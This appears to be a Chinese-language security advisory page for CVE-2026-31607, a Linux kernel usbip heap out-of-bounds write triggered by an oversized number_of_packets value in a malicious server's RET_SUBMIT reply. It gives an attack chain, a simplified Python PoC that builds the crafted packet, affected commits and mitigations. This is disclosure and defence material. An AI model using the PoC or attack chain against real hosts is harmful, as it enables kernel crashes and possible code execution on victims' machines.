IPBUF安全漏洞报告
English
CVE-2026-31607 CVSS 9.8 严重

CVE-2026-31607 Linux内核usbip堆越界写入漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31607
漏洞类型
堆越界写入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

CVE-2026-31607Linux KernelHeap OverflowusbipRCEDoS

漏洞概述

Linux内核的usbip模块存在严重的堆越界写入漏洞。在处理USB/IP客户端的RET_SUBMIT响应时,usbip_pack_ret_submit()函数未经验证即使用网络PDU中的number_of_packets覆盖urb->number_of_packets。由于urb->iso_frame_desc数组大小在分配时已固定,恶意服务器可通过发送过大的值导致usbip_recv_iso()函数在循环写入时超出堆内存边界,引发内存破坏。

技术细节

该漏洞发生于Linux内核USB/IP协议栈的客户端处理逻辑中。当客户端提交ISO URB后,期望接收服务器返回的RET_SUBMIT响应。在usbip_pack_ret_submit()函数内,代码直接将响应包中的rpdu->number_of_packets赋值给urb->number_of_packets,未与原始分配的数组大小进行比对。攻击者可搭建恶意的USB/IP服务器,在响应数据包中设置一个远大于原始请求的number_of_packets值。随后的usbip_recv_iso()函数将使用此值作为循环上限,向urb->iso_frame_desc[]数组写入数据。由于写入地址超出了预分配的堆内存区域,导致slab-out-of-bounds写入,可能造成内核崩溃或潜在的权限提升。

攻击链分析

STEP 1
1. 环境准备
攻击者搭建恶意的USB/IP服务器,监听网络连接。
STEP 2
2. 诱导连接
受害者的Linux主机(客户端)连接到恶意服务器,并尝试挂载USB设备。
STEP 3
3. 发送恶意数据
客户端提交ISO URB请求,攻击者回复RET_SUBMIT数据包,其中包含超大的number_of_packets字段值。
STEP 4
4. 触发漏洞
客户端内核在usbip_pack_ret_submit()中更新urb结构体,随后usbip_recv_iso()使用该值进行越界循环写入。
STEP 5
5. 造成影响
触发内核Panic或导致堆内存破坏,可能实现拒绝服务或代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC simulation for CVE-2026-31607 # This script simulates a malicious USB/IP server sending a crafted RET_SUBMIT packet. import socket import struct # USB/IP headers constants OP_REP_SUBMIT = 0x0003 # Malicious configuration: Set number_of_packets higher than allocated MALICIOUS_NUM_PACKETS = 10000 def send_malicious_response(client_sock): # Construct a basic USB/IP RET_SUBMIT header (simplified) # struct usbip_header_basic { # uint32_t command; # uint32_t seqnum; # uint32_t devid; # uint32_t direction; # uint32_t ep; # } __packed; # struct usbip_header_ret_submit { # int32_t status; # int32_t actual_length; # int32_t start_frame; # int32_t number_of_packets; <-- The vulnerable field # int32_t error_count; # } __packed; cmd = struct.pack("<I", OP_REP_SUBMIT) seqnum = struct.pack("<I", 1) devid = struct.pack("<I", 1) direction = struct.pack("<I", 1) ep = struct.pack("<I", 1) status = struct.pack("<i", 0) actual_length = struct.pack("<i", 0) start_frame = struct.pack("<i", 0) # Inject the malicious value here number_of_packets = struct.pack("<i", MALICIOUS_NUM_PACKETS) error_count = struct.pack("<i", 0) header = cmd + seqnum + devid + direction + ep ret_submit = status + actual_length + start_frame + number_of_packets + error_count print(f"[*] Sending malicious RET_SUBMIT with number_of_packets={MALICIOUS_NUM_PACKETS}") client_sock.send(header + ret_submit) print("[!] This is a simulation of the network packet causing the vulnerability.") print("[!] Exploitation requires a Linux kernel usbip client to connect to this server.")

影响范围

Linux Kernel (versions prior to commit 2ab833a16a82)
Linux Kernel (versions prior to commit 5e1c4ece08cc)
Linux Kernel (versions prior to commit 885c8591784d)
Linux Kernel (versions prior to commit 8d155e2d1c41)
Linux Kernel (versions prior to commit 906f16a836de)

防御指南

临时缓解措施
建议立即应用官方发布的补丁程序修复该漏洞。在无法立即更新的情况下,应严格禁止Linux主机连接到不受信任的USB/IP服务器,并在防火墙层面阻断USB/IP通信端口(默认为3240)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表